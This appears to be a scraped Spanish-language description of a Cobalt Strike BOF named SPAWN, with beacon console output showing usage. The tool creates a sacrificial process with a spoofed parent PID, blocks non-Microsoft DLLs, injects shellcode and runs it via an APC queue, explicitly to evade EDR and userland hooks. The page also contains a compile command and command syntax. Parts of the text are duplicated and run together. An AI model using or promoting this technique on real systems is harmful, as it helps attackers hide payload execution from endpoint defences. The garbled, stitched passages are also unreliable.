
Cobalt Strike BOF que crea un proceso sacrificial, lo inyecta con shellcode y ejecuta el payload. Diseñado para evadir hooks de EDR/UserLand creando un proceso sacrificial con Arbitrary Code Guard (ACG), BlockDll y suplantación de PPID.
BOF de Cobalt Strike que crea un proceso sacrificial, lo inyecta con shellcode y ejecuta el payload. Construido para evadir hooks de EDR/UserLand al crear un proceso sacrificial con Arbitrary Code Guard (ACG), BlockDll y suplantación de PPID.

beacon> spawn notepad.exe 6248 /Users/bobby.cooke/git/boku7/SPAWN/popCalc.bin
[*] SPAWN (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)
[+] Opened handle 0x534 to process 6248(PID)
[+] Spawned process: notepad.exe | PID: 8404 | PPID: 6248
[+] Allocated RE memory in remote process 8404 (PID) at: 0x00000177A72C0000
[+] Wrote 280 bytes to memory in remote process 8404 (PID) at 0x00000177A72C0000
[+] APC queued for main thread of 8404 (PID) to shellcode address 0x00000177A72C0000
beacon> help
spawn Spawn a process with a spoofed PPID and blockDll
beacon> help spawn
Synopsis: spawn /path/to/exe PPID
beacon> ps
8264 5536 OneDrive.exe x86 1 DESKTOP-KOSR2NO\boku
beacon> spawn cmd.exe 8264
[*] SPAWN (@0xBoku|github.com/boku7)
Opened handle 0x634 to process 8264(PID)
Success! Spawned process: cmd.exe | PID: 5384 | PPID: 8264
blockdll "similar" a Cobalt Strikex86_64-w64-mingw32-gcc -c spawn.x64.c -o spawn.x64.o
beacon> spawn /path/to/exe PPID /local/path/to/shellcode.bin

cmd.exe siendo creado con el PPID como OneDrive.exeblockdll de Cobalt Strike para evitar que DLL no firmadas por Microsoft se carguen en la memoria de los procesos creados
Signatures restricted (Microsoft only)Signatures restricted (Microsoft only) hace que las DLL no firmadas por Microsoft no puedan cargarse en nuestro proceso creado
